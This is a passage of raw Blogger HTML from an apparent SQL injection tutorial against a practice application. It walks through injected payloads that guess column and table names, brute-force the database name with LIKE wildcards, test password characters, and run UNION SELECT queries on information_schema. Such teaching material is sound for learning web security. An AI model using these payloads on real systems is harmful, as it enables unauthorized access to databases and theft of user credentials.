margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR first_name = ”=’&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The alternate will not error out if the column name is correct, but unlike above, this should print the expected results for the first row (because of the loop noted above, it will actually display all rows).&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Try a few other fields….not all of these will work, but give them a try and see what happens:&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;user_id&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;lastname&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;last_name&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;image&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;links&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;link&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;avatar&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;pass&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;password&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;user&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Finding user names - LIKE"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Finding user names – LIKE:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;Let’s say that the page is a bit more secure and will only list one result at a time. If we need to know a username (and we can’t just insert a sequential number), how do we get more names? With LIKE or course. (Here we will assume that first_name is what we are trying to find).&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR first_name LIKE ‘%P%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Using this same technique, it may be possible to find the value of other fields (passwords, email addresses…etc)?&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR first_name=’Pablo’ AND password LIKE ‘%a%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Finding the table name - Take a guess"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Finding the table name – Take a guess:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR test.user_id IS NOT NULL;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;’”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;Unknown column ‘test.user_id’ in ‘where clause’&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;We are using the tablename.columnname format to help guess the table name. We must use a known column name (see Find Field Names) for this to work properly. If we guess an incorrect table name we will get an error. If, however, we guessed the correct table name, the query should not have an error.&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Try a table name of&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;users&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;1′ AND 1=(SELECT COUNT(*) FROM tablenames);#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”;&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;This is an alternative way to brute force a table name. This will help us find any table name in the database. We can use the above method to help determine if any table that is found is the one we are currently working with.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find the database name - LIKE"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find the database name – LIKE:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘%A%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;“&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The database() function will help us find the database name. We can use the LIKE clause to help determine the name. The ‘%’ is the wildcard character. Means 0 or more characters of any value, so %A% checks to see if the database name contains the letter A. ‘&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;_&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘ represents any single character, so you can determine the length of the table name by incrementing the amount of&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;_&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;’s until you get a response. Try the following:&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘__’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘____’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘%W%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘D%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘D%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘%Z%’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR database() LIKE ‘_v_A’;#&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Find the table names - LIKE"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Find the table names – LIKE:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;‘&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;em&gt;&lt;strong&gt;a’ UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema LIKE ‘%dv%&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SQL-92 Standardization (ISO 9075) includes the&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;information_schema&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;database. This holds information on other databases, tables, users, etc…. Information_schema.&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;tables,&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;is a list of database names (table_schema) and table names (table_name). Fortunately for us, we can request both of these at once because the original query also requested two columns. By manipulating the&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;WHERE table_name LIKE&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;phrase, we can find the names of various tables. This is not necessary for this exercise because…&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; 